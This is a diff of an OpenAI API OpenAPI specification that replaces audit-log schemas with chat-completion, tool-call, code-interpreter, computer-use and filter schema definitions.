+ Learn about [file inputs](https://developers.openai.com/api/docs/guides/text) for text generation.
+ properties:
+ type:
+ type: string
+ enum:
+ - file
+ description: The type of the content part. Always `file`.
+ x-stainless-const: true
+ file:
type: object
- description: The details for events with this `type`.
properties:
- id:
+ filename:
type: string
- description: The user ID.
- data:
- type: object
- description: The payload used to add the user to the project.
- properties:
- role:
- type: string
- description: The role of the user. Is either `owner` or `member`.
- user.updated:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
+ description: |
+ The name of the file, used when passing the file to the model as a
+ string.
+ file_data:
type: string
- description: The project ID.
- changes_requested:
- type: object
- description: The payload used to update the user.
- properties:
- role:
- type: string
- description: The role of the user. Is either `owner` or `member`.
- user.deleted:
- type: object
- description: The details for events with this `type`.
- properties:
- id:
+ description: |
+ The base64 encoded file data, used when passing the file to the model
+ as a string.
+ file_id:
type: string
- description: The user ID.
- certificate.created:
+ description: |
+ The ID of an uploaded file to use as input.
+ x-stainless-naming:
+ java:
+ type_name: FileObject
+ kotlin:
+ type_name: FileObject
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointParam'
+ required:
+ - type
+ - file
+ x-stainless-naming:
+ go:
+ variant_constructor: FileContentPart
+ ChatCompletionRequestMessageContentPartImage:
+ type: object
+ title: Image content part
+ description: |
+ Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision).
+ properties:
+ type:
+ type: string
+ enum:
+ - image_url
+ description: The type of the content part.
+ x-stainless-const: true
+ image_url:
type: object
- description: The details for events with this `type`.
properties:
- id:
+ url:
type: string
- description: The certificate ID.
- name:
+ description: Either a URL of the image or the base64 encoded image data.
+ format: uri
+ detail:
type: string
- description: The name of the certificate.
- certificate.updated:
+ description: Specifies the detail level of the image. Learn more in the [Vision guide](https://developers.openai.com/api/docs/guides/images-vision#choose-an-image-detail-level).
+ enum:
+ - auto
+ - low
+ - high
+ default: auto
+ required:
+ - url
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointParam'
+ required:
+ - type
+ - image_url
+ x-stainless-naming:
+ go:
+ variant_constructor: ImageContentPart
+ ChatCompletionRequestMessageContentPartRefusal:
+ type: object
+ title: Refusal content part
+ properties:
+ type:
+ type: string
+ enum:
+ - refusal
+ description: The type of the content part.
+ x-stainless-const: true
+ refusal:
+ type: string
+ description: The refusal message generated by the model.
+ required:
+ - type
+ - refusal
+ ChatCompletionRequestMessageContentPartText:
+ type: object
+ title: Text content part
+ description: |
+ Learn about [text inputs](https://developers.openai.com/api/docs/guides/text).
+ properties:
+ type:
+ type: string
+ enum:
+ - text
+ description: The type of the content part.
+ x-stainless-const: true
+ text:
+ type: string
+ description: The text content.
+ prompt_cache_breakpoint:
+ $ref: '#/components/schemas/PromptCacheBreakpointParam'
+ required:
+ - type
+ - text
+ x-stainless-naming:
+ go:
+ variant_constructor: TextContentPart
+ ChatCompletionRequestSystemMessage:
+ type: object
+ title: System message
+ description: |
+ Developer-provided instructions that the model should follow, regardless of
+ messages sent by the user. With o1 models and newer, use `developer` messages
+ for this purpose instead.
+ properties:
+ content:
+ description: The contents of the system message.
+ anyOf:
+ - type: string
+ description: The contents of the system message.
+ title: Text content
+ - type: array
+ description: An array of content parts with a defined type. For system messages, only type `text` is supported.
+ title: Array of content parts
+ items:
+ $ref: '#/components/schemas/ChatCompletionRequestSystemMessageContentPart'
+ minItems: 1
+ role:
+ type: string
+ enum:
+ - system
+ description: The role of the messages author, in this case `system`.
+ x-stainless-const: true
+ name:
+ type: string
+ description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
+ required:
+ - content
+ - role
+ x-stainless-naming:
+ go:
+ variant_constructor: SystemMessage
+ ChatCompletionRequestSystemMessageContentPart:
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ ChatCompletionRequestToolMessage:
+ type: object
+ title: Tool message
+ properties:
+ role:
+ type: string
+ enum:
+ - tool
+ description: The role of the messages author, in this case `tool`.
+ x-stainless-const: true
+ content:
+ description: The contents of the tool message.
+ anyOf:
+ - type: string
+ description: The contents of the tool message.
+ title: Text content
+ - type: array
+ description: An array of content parts with a defined type. For tool messages, only type `text` is supported.
+ title: Array of content parts
+ items:
+ $ref: '#/components/schemas/ChatCompletionRequestToolMessageContentPart'
+ minItems: 1
+ tool_call_id:
+ type: string
+ description: Tool call that this message is responding to.
+ required:
+ - role
+ - content
+ - tool_call_id
+ x-stainless-naming:
+ go:
+ variant_constructor: ToolMessage
+ ChatCompletionRequestToolMessageContentPart:
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ ChatCompletionRequestUserMessage:
+ type: object
+ title: User message
+ description: |
+ Messages sent by an end user, containing prompts or additional context
+ information.
+ properties:
+ content:
+ description: |
+ The contents of the user message.
+ anyOf:
+ - type: string
+ description: The text contents of the message.
+ title: Text content
+ - type: array
+ description: An array of content parts with a defined type. Supported options differ based on the [model](https://developers.openai.com/api/docs/models) being used to generate the response. Can contain text, image, or audio inputs.
+ title: Array of content parts
+ items:
+ $ref: '#/components/schemas/ChatCompletionRequestUserMessageContentPart'
+ minItems: 1
+ role:
+ type: string
+ enum:
+ - user
+ description: The role of the messages author, in this case `user`.
+ x-stainless-const: true
+ name:
+ type: string
+ description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
+ required:
+ - content
+ - role
+ x-stainless-naming:
+ go:
+ variant_constructor: UserMessage
+ ChatCompletionRequestUserMessageContentPart:
+ anyOf:
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartImage'
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartAudio'
+ - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartFile'
+ discriminator:
+ propertyName: type
+ ChatCompletionResponseMessage:
+ type: object
+ description: A chat completion message generated by the model.
+ properties:
+ content:
+ anyOf:
+ - type: string
+ description: The contents of the message.
+ - type: 'null'
+ refusal:
+ anyOf:
+ - type: string
+ description: The refusal message generated by the model.
+ - type: 'null'
+ tool_calls:
+ $ref: '#/components/schemas/ChatCompletionMessageToolCalls'
+ annotations:
+ type: array
+ description: |
+ Annotations for the message, when applicable, as when using the
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
+ items:
+ type: object
+ description: |
+ A URL citation when using web search.
+ required:
+ - type
+ - url_citation
+ properties:
+ type:
+ type: string
+ description: The type of the URL citation. Always `url_citation`.
+ enum:
+ - url_citation
+ x-stainless-const: true
+ url_citation:
+ type: object
+ description: A URL citation when using web search.
+ required:
+ - end_index
+ - start_index
+ - url
+ - title
+ properties:
+ end_index:
+ type: integer
+ description: The index of the last character of the URL citation in the message.
+ start_index:
+ type: integer
+ description: The index of the first character of the URL citation in the message.
+ url:
+ type: string
+ format: uri
+ description: The URL of the web resource.
+ title:
+ type: string
+ description: The title of the web resource.
+ role:
+ type: string
+ enum:
+ - assistant
+ description: The role of the author of this message.
+ x-stainless-const: true
+ function_call:
type: object
- description: The details for events with this `type`.
+ deprecated: true
+ description: Deprecated and replaced by `tool_calls`. The name and arguments of a function that should be called, as generated by the model.
properties:
- id:
+ arguments:
type: string
- description: The certificate ID.
+ description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
name:
type: string
- description: The name of the certificate.
- certificate.deleted:
+ description: The name of the function to call.
+ required:
+ - name
+ - arguments
+ audio:
+ anyOf:
+ - type: object
+ description: |
+ If the audio output modality is requested, this object contains data
+ about the audio response from the model. [Learn more](https://developers.openai.com/api/docs/guides/audio).
+ required:
+ - id
+ - expires_at
+ - data
+ - transcript
+ properties:
+ id:
+ type: string
+ description: Unique identifier for this audio response.
+ expires_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) for when this audio response will
+ no longer be accessible on the server for use in multi-turn
+ conversations.
+ data:
+ type: string
+ description: |
+ Base64 encoded audio bytes generated by the model, in the format
+ specified in the request.
+ transcript:
+ type: string
+ description: Transcript of the audio generated by the model.
+ - type: 'null'
+ required:
+ - role
+ - content
+ - refusal
+ ChatCompletionRole:
+ type: string
+ description: The role of the author of a message
+ enum:
+ - developer
+ - system
+ - user
+ - assistant
+ - tool
+ - function
+ ChatCompletionStreamOptions:
+ anyOf:
+ - description: |
+ Options for streaming response. Only set this when you set `stream: true`.
+ type: object
+ properties:
+ include_usage:
+ type: boolean
+ description: |
+ If set, an additional chunk will be streamed before the `data: [DONE]`
+ message. The `usage` field on this chunk shows the token usage statistics
+ for the entire request, and the `choices` field will always be an empty
+ array.
+
+ All other chunks will also include a `usage` field, but with a null
+ value. **NOTE:** If the stream is interrupted, you may not receive the
+ final usage chunk which contains the total token usage for the request.
+ include_obfuscation:
+ type: boolean
+ description: |
+ When true, stream obfuscation will be enabled. Stream obfuscation adds
+ random characters to an `obfuscation` field on streaming delta events to
+ normalize payload sizes as a mitigation to certain side-channel attacks.
+ These obfuscation fields are included by default, but add a small amount
+ of overhead to the data stream. You can set `include_obfuscation` to
+ false to optimize for bandwidth if you trust the network links between
+ your application and the OpenAI API.
+ - type: 'null'
+ ChatCompletionStreamResponseDelta:
+ type: object
+ description: A chat completion delta generated by streamed model responses.
+ properties:
+ content:
+ anyOf:
+ - type: string
+ description: The contents of the chunk message.
+ - type: 'null'
+ function_call:
+ deprecated: true
type: object
- description: The details for events with this `type`.
+ description: Deprecated and replaced by `tool_calls`. The name and arguments of a function that should be called, as generated by the model.
properties:
- id:
+ arguments:
type: string
- description: The certificate ID.
+ description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
name:
type: string
- description: The name of the certificate.
- certificate:
- type: string
- description: The certificate content in PEM format.
- certificates.activated:
+ description: The name of the function to call.
+ tool_calls:
+ type: array
+ items:
+ $ref: '#/components/schemas/ChatCompletionMessageToolCallChunk'
+ role:
+ type: string
+ enum:
+ - developer
+ - system
+ - user
+ - assistant
+ - tool
+ description: The role of the author of this message.
+ refusal:
+ anyOf:
+ - type: string
+ description: The refusal message generated by the model.
+ - type: 'null'
+ ChatCompletionTokenLogprob:
+ type: object
+ properties:
+ token:
+ description: The token.
+ type: string
+ logprob:
+ description: The log probability of this token, if it is within the top 20 most likely tokens. Otherwise, the value `-9999.0` is used to signify that the token is very unlikely.
+ type: number
+ bytes:
+ anyOf:
+ - description: A list of integers representing the UTF-8 bytes representation of the token. Useful in instances where characters are represented by multiple tokens and their byte representations must be combined to generate the correct text representation. Can be `null` if there is no bytes representation for the token.
+ type: array
+ items:
+ type: integer
+ - type: 'null'
+ top_logprobs:
+ description: List of the most likely tokens and their log probability, at this token position. The number of entries may be fewer than the requested `top_logprobs`.
+ type: array
+ items:
+ type: object
+ properties:
+ token:
+ description: The token.
+ type: string
+ logprob:
+ description: The log probability of this token, if it is within the top 20 most likely tokens. Otherwise, the value `-9999.0` is used to signify that the token is very unlikely.
+ type: number
+ bytes:
+ anyOf:
+ - description: A list of integers representing the UTF-8 bytes representation of the token. Useful in instances where characters are represented by multiple tokens and their byte representations must be combined to generate the correct text representation. Can be `null` if there is no bytes representation for the token.
+ type: array
+ items:
+ type: integer
+ - type: 'null'
+ required:
+ - token
+ - logprob
+ - bytes
+ required:
+ - token
+ - logprob
+ - bytes
+ - top_logprobs
+ ChatCompletionTool:
+ type: object
+ title: Function tool
+ description: |
+ A function tool that can be used to generate a response.
+ properties:
+ type:
+ type: string
+ enum:
+ - function
+ description: The type of the tool. Currently, only `function` is supported.
+ x-stainless-const: true
+ function:
+ $ref: '#/components/schemas/FunctionObject'
+ required:
+ - type
+ - function
+ ChatCompletionToolChoiceOption:
+ description: |
+ Controls which (if any) tool is called by the model.
+ `none` means the model will not call any tool and instead generates a message.
+ `auto` means the model can pick between generating a message or calling one or more tools.
+ `required` means the model must call one or more tools.
+ Specifying a particular tool via `{"type": "function", "function": {"name": "my_function"}}` forces the model to call that tool.
+
+ `none` is the default when no tools are present. `auto` is the default if tools are present.
+ anyOf:
+ - type: string
+ title: Auto
+ description: |
+ `none` means the model will not call any tool and instead generates a message. `auto` means the model can pick between generating a message or calling one or more tools. `required` means the model must call one or more tools.
+ enum:
+ - none
+ - auto
+ - required
+ - $ref: '#/components/schemas/ChatCompletionAllowedToolsChoice'
+ - $ref: '#/components/schemas/ChatCompletionNamedToolChoice'
+ - $ref: '#/components/schemas/ChatCompletionNamedToolChoiceCustom'
+ x-stainless-go-variant-constructor:
+ naming: tool_choice_option_{variant}
+ ChunkingStrategyRequestParam:
+ type: object
+ description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy. Only applicable if `file_ids` is non-empty.
+ anyOf:
+ - $ref: '#/components/schemas/AutoChunkingStrategyRequestParam'
+ - $ref: '#/components/schemas/StaticChunkingStrategyRequestParam'
+ discriminator:
+ propertyName: type
+ CodeInterpreterFileOutput:
+ type: object
+ title: Code interpreter file output
+ description: |
+ The output of a code interpreter tool call that is a file.
+ properties:
+ type:
+ type: string
+ enum:
+ - files
+ description: |
+ The type of the code interpreter file output. Always `files`.
+ x-stainless-const: true
+ files:
+ type: array
+ items:
+ type: object
+ properties:
+ mime_type:
+ type: string
+ description: |
+ The MIME type of the file.
+ file_id:
+ type: string
+ description: |
+ The ID of the file.
+ required:
+ - mime_type
+ - file_id
+ required:
+ - type
+ - files
+ CodeInterpreterTextOutput:
+ type: object
+ title: Code interpreter text output
+ description: |
+ The output of a code interpreter tool call that is text.
+ properties:
+ type:
+ type: string
+ enum:
+ - logs
+ description: |
+ The type of the code interpreter text output. Always `logs`.
+ x-stainless-const: true
+ logs:
+ type: string
+ description: |
+ The logs of the code interpreter tool call.
+ required:
+ - type
+ - logs
+ CodeInterpreterTool:
+ type: object
+ title: Code interpreter
+ description: |
+ A tool that runs Python code to help generate a response to a prompt.
+ properties:
+ type:
+ type: string
+ enum:
+ - code_interpreter
+ description: |
+ The type of the code interpreter tool. Always `code_interpreter`.
+ x-stainless-const: true
+ container:
+ description: |
+ The code interpreter container. Can be a container ID or an object that
+ specifies uploaded file IDs to make available to your code, along with an
+ optional `memory_limit` setting.
+ anyOf:
+ - type: string
+ description: The container ID.
+ - $ref: '#/components/schemas/CodeInterpreterContainerAuto'
+ allowed_callers:
+ anyOf:
+ - type: array
+ minItems: 1
+ items:
+ $ref: '#/components/schemas/CallableToolAllowedCaller'
+ description: The tool invocation context(s).
+ - type: 'null'
+ required:
+ - type
+ - container
+ CodeInterpreterToolCall:
+ type: object
+ title: Code interpreter tool call
+ description: |
+ A tool call to run code.
+ properties:
+ type:
+ type: string
+ enum:
+ - code_interpreter_call
+ default: code_interpreter_call
+ x-stainless-const: true
+ description: |
+ The type of the code interpreter tool call. Always `code_interpreter_call`.
+ id:
+ type: string
+ description: |
+ The unique ID of the code interpreter tool call.
+ status:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ - interpreting
+ - failed
+ description: |
+ The status of the code interpreter tool call. Valid values are `in_progress`, `completed`, `incomplete`, `interpreting`, and `failed`.
+ container_id:
+ type: string
+ description: |
+ The ID of the container used to run the code.
+ code:
+ anyOf:
+ - type: string
+ description: |
+ The code to run, or null if not available.
+ - type: 'null'
+ outputs:
+ anyOf:
+ - type: array
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/CodeInterpreterOutputLogs'
+ - $ref: '#/components/schemas/CodeInterpreterOutputImage'
+ discriminator:
+ propertyName: type
+ description: |
+ The outputs generated by the code interpreter, such as logs or images.
+ Can be null if no outputs are available.
+ - type: 'null'
+ required:
+ - type
+ - id
+ - status
+ - container_id
+ - code
+ - outputs
+ ComparisonFilter:
+ type: object
+ additionalProperties: false
+ title: Comparison Filter
+ description: |
+ A filter used to compare a specified attribute key to a given value using a defined comparison operation.
+ properties:
+ type:
+ type: string
+ default: eq
+ enum:
+ - eq
+ - ne
+ - gt
+ - gte
+ - lt
+ - lte
+ - in
+ - nin
+ description: |
+ Specifies the comparison operator: `eq`, `ne`, `gt`, `gte`, `lt`, `lte`, `in`, `nin`.
+ - `eq`: equals
+ - `ne`: not equal
+ - `gt`: greater than
+ - `gte`: greater than or equal
+ - `lt`: less than
+ - `lte`: less than or equal
+ - `in`: in
+ - `nin`: not in
+ key:
+ type: string
+ description: The key to compare against the value.
+ value:
+ description: The value to compare against the attribute key; supports string, number, or boolean types.
+ anyOf:
+ - type: string
+ - type: number
+ - type: boolean
+ - type: array
+ items:
+ $ref: '#/components/schemas/ComparisonFilterValueItems'
+ required:
+ - type
+ - key
+ - value
+ x-oaiMeta:
+ name: ComparisonFilter
+ CompleteUploadRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ part_ids:
+ type: array
+ description: |
+ The ordered list of Part IDs.
+ items:
+ type: string
+ md5:
+ description: |
+ The optional md5 checksum for the file contents to verify if the bytes uploaded matches what you expect.
+ type: string
+ required:
+ - part_ids
+ CompletionUsage:
+ type: object
+ description: Usage statistics for the completion request.
+ properties:
+ completion_tokens:
+ type: integer
+ default: 0
+ description: Number of tokens in the generated completion.
+ prompt_tokens:
+ type: integer
+ default: 0
+ description: Number of tokens in the prompt.
+ total_tokens:
+ type: integer
+ default: 0
+ description: Total number of tokens used in the request (prompt + completion).
+ completion_tokens_details:
type: object
- description: The details for events with this `type`.
+ description: Breakdown of tokens used in a completion.
properties:
- certificates:
- type: array
- items:
- type: object
- properties:
- id:
- type: string
- description: The certificate ID.
- name:
- type: string
- description: The name of the certificate.
- certificates.deactivated:
+ accepted_prediction_tokens:
+ type: integer
+ default: 0
+ description: |
+ When using Predicted Outputs, the number of tokens in the
+ prediction that appeared in the completion.
+ audio_tokens:
+ type: integer
+ default: 0
+ description: Audio input tokens generated by the model.
+ reasoning_tokens:
+ type: integer
+ default: 0
+ description: Tokens generated by the model for reasoning.
+ text_tokens:
+ type: integer
+ description: Text output tokens generated by the model.
+ rejected_prediction_tokens:
+ type: integer
+ default: 0
+ description: |
+ When using Predicted Outputs, the number of tokens in the
+ prediction that did not appear in the completion. However, like
+ reasoning tokens, these tokens are still counted in the total
+ completion tokens for purposes of billing, output, and context window
+ limits.
+ prompt_tokens_details:
type: object
- description: The details for events with this `type`.
+ description: Breakdown of tokens used in the prompt.
properties:
- certificates:
- type: array
- items:
- type: object
- properties:
- id:
- type: string
- description: The certificate ID.
- name:
- type: string
- description: The name of the certificate.
+ audio_tokens:
+ type: integer
+ default: 0
+ description: Audio input tokens present in the prompt.
+ cached_tokens:
+ type: integer
+ default: 0
+ description: Cached tokens present in the prompt.
+ text_tokens:
+ type: integer
+ description: Text input tokens present in the prompt.
+ image_tokens:
+ type: integer
+ description: Image input tokens present in the prompt.
+ cache_write_tokens:
+ type: integer
+ default: 0
+ description: The unadjusted number of prompt tokens written to cache.
required:
- - id
- - type
- - effective_at
- x-oaiMeta:
- name: The audit log object
- example: |
- {
- "id": "req_xxx_20240101",
- "type": "api_key.created",
- "effective_at": 1720804090,
- "actor": {
- "type": "session",
- "session": {
- "user": {
- "id": "user-xxx",
- "email": "user@example.com"
- },
- "ip_address": "127.0.0.1",
- "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
- }
- },
- "api_key.created": {
- "id": "key_xxxx",
- "data": {
- "scopes": ["resource.operation"]
- }
- }
- }
- AuditLogActor:
+ - prompt_tokens
+ - completion_tokens
+ - total_tokens
+ CompoundFilter:
+ $recursiveAnchor: true
type: object
- description: The actor who performed the audit logged action.
+ additionalProperties: false
+ title: Compound Filter
+ description: Combine multiple filters using `and` or `or`.
properties:
type:
type: string
- description: The type of actor. Is either `session` or `api_key`.
+ description: 'Type of operation: `and` or `or`.'
enum:
- - session
- - api_key
- session:
- $ref: '#/components/schemas/AuditLogActorSession'
- api_key:
- $ref: '#/components/schemas/AuditLogActorApiKey'
- AuditLogActorApiKey:
+ - and
+ - or
+ filters:
+ type: array
+ description: Array of filters to combine. Items can be `ComparisonFilter` or `CompoundFilter`.
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ComparisonFilter'
+ - $recursiveRef: '#'
+ required:
+ - type
+ - filters
+ x-oaiMeta:
+ name: CompoundFilter
+ ComputerAction:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/ClickParam'
+ - $ref: '#/components/schemas/DoubleClickAction'
+ - $ref: '#/components/schemas/DragParam'
+ - $ref: '#/components/schemas/KeyPressAction'
+ - $ref: '#/components/schemas/MoveParam'
+ - $ref: '#/components/schemas/ScreenshotParam'
+ - $ref: '#/components/schemas/ScrollParam'
+ - $ref: '#/components/schemas/TypeParam'
+ - $ref: '#/components/schemas/WaitParam'
+ ComputerActionList:
+ title: Computer Action List
+ type: array
+ description: |
+ Flattened batched actions for `computer_use`. Each action includes an
+ `type` discriminator and action-specific fields.
+ items:
+ $ref: '#/components/schemas/ComputerAction'
+ ComputerScreenshotImage:
type: object
- description: The API Key used to perform the audit logged action.
+ description: |
+ A computer screenshot image used with the computer use tool.
properties:
- id:
- type: string
- description: The tracking id of the API key.
type:
type: string
- description: The type of API key. Can be either `user` or `service_account`.
enum:
- - user
- - service_account
- user:
- $ref: '#/components/schemas/AuditLogActorUser'
- service_account:
- $ref: '#/components/schemas/AuditLogActorServiceAccount'
- AuditLogActorServiceAccount:
- type: object
- description: The service account that performed the audit logged action.
- properties:
- id:
+ - computer_screenshot
+ default: computer_screenshot
+ description: "Specifies the event type. For a computer screenshot, this property is \nalways set to `computer_screenshot`.\n"
+ x-stainless-const: true
+ image_url:
type: string
- description: The service account id.
- AuditLogActorSession:
- type: object
- description: The session in which the audit logged action was performed.
- properties:
- user:
- $ref: '#/components/schemas/AuditLogActorUser'
- ip_address:
+ format: uri
+ description: The URL of the screenshot image.
+ file_id:
type: string
- description: The IP address from which the action was performed.
- AuditLogActorUser:
+ description: The identifier of an uploaded file that contains the screenshot.
+ required:
+ - type
+ ComputerToolCall:
type: object
- description: The user who performed the audit logged action.
+ title: Computer tool call
+ description: |
+ A tool call to a computer use tool. See the
+ [computer use guide](https://developers.openai.com/api/docs/guides/tools-computer-use) for more information.
properties:
+ type:
+ type: string
+ description: The type of the computer call. Always `computer_call`.
+ enum:
+ - computer_call
+ default: computer_call
id:
type: string
- description: The user id.
- email:
+ description: The unique ID of the computer call.
+ call_id:
type: string
- description: The user email.
- AuditLogEventType:
- type: string
- description: The event type.
- enum:
- - api_key.created
- - api_key.updated
- - api_key.deleted
- - certificate.created
- - certificate.updated
- - certificate.deleted
- - certificates.activated
- - certificates.deactivated
- - checkpoint.permission.created
- - checkpoint.permission.deleted
- - external_key.registered
- - external_key.removed
- - group.created
- - group.updated
- - group.deleted
- - invite.sent
- - invite.accepted
- - invite.deleted
- - ip_allowlist.created
- - ip_allowlist.updated
- - ip_allowlist.deleted
- - ip_allowlist.config.activated
- - ip_allowlist.config.deactivated
- - login.succeeded
- - login.failed
- - logout.succeeded
- - logout.failed
- - organization.updated
- - project.created
- - project.updated
- - project.archived
- - project.deleted
- - rate_limit.updated
- - rate_limit.deleted
- - resource.deleted
- - tunnel.created
- - tunnel.updated
- - tunnel.deleted
- - workload_identity_provider.created
- - workload_identity_provider.updated
- - workload_identity_provider.deleted
- - workload_identity_provider_mapping.created
- - workload_identity_provider_mapping.updated
- - workload_identity_provider_mapping.deleted
- - role.created
- - role.updated
- - role.deleted
- - role.assignment.created
- - role.assignment.deleted
- - role.bound_to_resource
- - role.unbound_from_resource
- - scim.enabled
- - scim.disabled
- - service_account.created
- - service_account.updated
- - service_account.deleted
- - user.added
- - user.updated
- - user.deleted
- - tenant.metadata.updated
- - tenant.microsoft_entra_mapping.upserted
- - tenant.microsoft_entra_mapping.deleted
- - tenant.workload_identity.provider.created
- - tenant.workload_identity.provider.updated
- - tenant.workload_identity.provider.archived
- - tenant.workload_identity.mapping.created
- - tenant.workload_identity.mapping.updated
- - tenant.workload_identity.mapping.archived
- - tenant.workload_identity.binding.created
- - tenant.workload_identity.principal.provisioned
- - tenant.workload_identity.access_token.issued
- - tenant.admin_api_key.created
- - tenant.admin_api_key.updated
- - tenant.admin_api_key.deleted
- - tenant.project_api_key.created
- - tenant.trusted_access.business_verification.started
- - tenant.trusted_access.application.submitted
- - tenant.chatgpt_access_token.revoked
- - tenant.migration.completed
- - tenant.sso.migrated
- - tenant.domains.migrated
- - tenant.sso_connection.created
- - tenant.sso_connection.updated
- - tenant.sso_connection.deleted
- - tenant.sso_connection.setup.started
- - tenant.policy.created
- - tenant.policy.updated
- - tenant.policy.deleted
- - tenant.policy.attached
- - tenant.policy.detached
- - tenant.principal_authentication_policy.resolved
- - tenant.scim.setup.started
- - tenant.scim.deletion.requested
- - tenant.scim.directory.created
- - tenant.product_access_policy.updated
- - tenant.resource_share_grant.created
- - tenant.resource_share_grant.updated
- - tenant.resource_share_grant.accepted
- - tenant.resource_share_grant.declined
- - tenant.resource_share_grant.revoked
- - tenant.resource_share_grant.deleted
- - tenant.service_account.updated
- - tenant.service_account.deleted
- - tenant.service_account.token.revoked
- - tenant.billing.overage_limit.updated
- - tenant.billing.alerts.updated
- - tenant.billing.info.updated
- - tenant.usage_limit.workspace.updated
- - tenant.usage_limit.group.updated
- - tenant.usage_limit.user.updated
- - tenant.usage_limit.increase_request.updated
- - tenant.usage_limit.increase_request.resolved
- - tenant.group.created
- - tenant.group.updated
- - tenant.group.deleted
- - tenant.group.member.added
- - tenant.group.member.removed
- - tenant.migration_rollout.status.updated
- - tenant.migration_rollout.tier.updated
- - tenant.role.metadata.updated
- - tenant.custom_role.created
- - tenant.custom_role.updated
- - tenant.custom_role.deleted
- - tenant.role_assignment.created
- - tenant.role_assignment.deleted
- - tenant.resource_role_assignment.created
- - tenant.resource_role_assignment.deleted
- - tenant.resource_access.updated
- - tenant.resource_access.deleted
- - tenant.ads_account.onboarding.redemption
- - tenant.session_policy.created
- - tenant.session_policy.updated
- - tenant.session_policy.deleted
- - tenant.session_revocation.started
- - tenant.third_party_app_policy.updated
- - tenant.user.added
- - tenant.user.updated
- - tenant.user.removed
- - tenant.user.looked_up
- - tenant.user.invited
- - tenant.membership.revoked
- - tenant.api_organization_invite.upserted
- - tenant.api_organization_invite.deleted
- - tenant.chatgpt_workspace_invite.upserted
- - tenant.membership.accepted
- - tenant.membership.declined
- - tenant.workspace_invite_email_settings.updated
- AutoChunkingStrategyRequestParam:
- type: object
- title: Auto Chunking Strategy
- description: The default strategy. This strategy currently uses a `max_chunk_size_tokens` of `800` and `chunk_overlap_tokens` of `400`.
- additionalProperties: false
- properties:
- type:
+ description: |
+ An identifier used when responding to the tool call with output.
+ action:
+ $ref: '#/components/schemas/LegacyComputerAction'
+ actions:
+ $ref: '#/components/schemas/ComputerActionList'
+ pending_safety_checks:
+ type: array
+ items:
+ $ref: '#/components/schemas/ComputerCallSafetyCheckParam'
+ description: |
+ The pending safety checks for the computer call.
+ status:
type: string
- description: Always `auto`.
+ description: |
+ The status of the item. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when items are returned via API.
enum:
- - auto
- x-stainless-const: true
+ - in_progress
+ - completed
+ - incomplete
required:
- type
- Batch:
+ - id
+ - call_id
+ - pending_safety_checks
+ - status
+ ComputerToolCallOutput:
type: object
+ title: Computer tool call output
+ description: |
+ The output of a computer tool call.
properties:
- id:
- type: string
- object:
+ type:
type: string
+ description: |
+ The type of the computer tool call output. Always `computer_call_output`.
enum:
- - batch
- description: The object type, which is always `batch`.
+ - computer_call_output
+ default: computer_call_output
x-stainless-const: true
- endpoint:
- type: string
- description: The OpenAI API endpoint used by the batch.
- model:
+ id:
type: string
description: |
- Model ID used to process the batch, like `gpt-6-astra`. OpenAI
- offers a wide range of models with different capabilities, performance
- characteristics, and price points. Refer to the [model
- guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
- errors:
- type: object
- properties:
- object:
- type: string
- description: The object type, which is always `list`.
- data:
- type: array
- items:
- $ref: '#/components/schemas/BatchError'
- input_file_id:
- type: string
- description: The ID of the input file for the batch.
- completion_window:
+ The ID of the computer tool call output.
+ call_id:
type: string
- description: The time frame within which the batch should be processed.
+ description: |
+ The ID of the computer tool call that produced the output.
+ acknowledged_safety_checks:
+ type: array
+ description: |
+ The safety checks reported by the API that have been acknowledged by the
+ developer.
+ items:
+ $ref: '#/components/schemas/ComputerCallSafetyCheckParam'
+ output:
+ $ref: '#/components/schemas/ComputerScreenshotImage'
status:
type: string
- description: The current status of the batch.
+ description: |
+ The status of the message input. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when input items are returned via API.
enum:
- - validating
- - failed
- in_progress
- - finalizing
- completed
- - expired
- - cancelling
- - cancelled
- output_file_id:
+ - incomplete
+ required:
+ - type
+ - call_id
+ - output
+ ComputerToolCallOutputResource:
+ allOf:
+ - $ref: '#/components/schemas/ComputerToolCallOutput'
+ - type: object
+ properties:
+ id:
+ type: string
+ description: |
+ The unique ID of the computer call tool output.
+ status:
+ description: |
+ The status of the message input. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when input items are returned via API.
+ $ref: '#/components/schemas/ComputerCallOutputStatus'
+ created_by:
+ type: string
+ description: |
+ The identifier of the actor that created the item.
+ required:
+ - id
+ - status
+ ContainerFileListResource:
+ type: object
+ properties:
+ object:
+ description: The type of object returned, must be 'list'.
+ const: list
+ data:
+ type: array
+ description: A list of container files.
+ items:
+ $ref: '#/components/schemas/ContainerFileResource'
+ first_id:
type: string
- description: The ID of the file containing the outputs of successfully executed requests.
- error_file_id:
